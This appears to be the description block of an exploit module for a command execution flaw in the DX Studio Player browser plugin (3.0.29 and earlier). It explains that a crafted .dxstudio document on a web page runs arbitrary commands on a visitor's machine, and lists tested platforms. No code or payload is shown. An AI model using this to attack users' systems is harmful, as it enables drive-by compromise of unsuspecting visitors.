        This module exploits a command execution vulnerability within the DX
        Studio Player from Worldweaver for versions 3.0.29 and earlier. The
        player is a browser plugin for IE (ActiveX) and Firefox (dll). When an
        unsuspecting user visits a web page referring to a specially crafted
        .dxstudio document, an attacker can execute arbitrary commands.

        Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20
        and IE 6 on Windows XP SP3. In IE, the user will be prompted if they
        wish to allow the plug-in to access local files. This prompt appears to
        occur only once per server host.

        NOTE: This exploit uses additionally dangerous script features to write
        to local files!
